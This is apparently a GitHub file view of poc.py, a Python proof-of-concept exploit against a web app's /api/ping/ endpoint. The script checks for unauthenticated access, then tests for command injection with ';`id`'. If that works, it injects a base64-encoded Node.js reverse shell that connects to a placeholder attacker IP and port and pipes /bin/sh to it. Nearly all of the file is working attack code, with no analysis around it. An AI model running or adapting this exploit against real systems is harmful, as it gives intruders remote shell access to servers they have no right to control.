-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpoc.py
62 lines (47 loc) · 1.7 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import json
import base64
port = "RSHELL_PORT"
ip = "RSHELL_IP"
socket_code = '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(replace_port, "replace_ip", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'
socket_code = socket_code.replace("replace_port", port)
socket_code = socket_code.replace("replace_ip", ip)
message_bytes = socket_code.encode('ascii')
encoded = base64.b64encode(message_bytes)
encoded = str(encoded).replace("b'","")
encoded = str(encoded).replace("'","")
socket_code = 'node -e \'eval(Buffer.from("'+encoded+'","base64").toString("ascii"))\''
print(socket_code)
def validateJSON(jsonData):
try:
json.loads(jsonData)
except ValueError as err:
return False
return True
def step1_scan_unauth(ip):
url = "http://"+ip+"/api/ping/8.8.8.8"
payload = {}
headers = {}
response = requests.request("GET", url, headers=headers, data=payload)
isvalid = validateJSON(response.text)
return isvalid
def step2_scan_rce(ip):
url = "http://"+ip+"/api/ping/;`id`"
payload = {}
headers = {}
response = requests.request("GET", url, headers=headers, data=payload)
if response.text.find("uid") > 0:
return True
def step3(ip):
url = "http://"+ip+"/api/ping/;"+socket_code
payload = {}
headers = {}
response = requests.request("GET", url, headers=headers, data=payload)
print(response.text)
ip_list = [
"127.0.0.1:3000",
]
for i in ip_list:
if step1_scan_unauth(i) == True:
if step2_scan_rce(i) == True:
step3(i)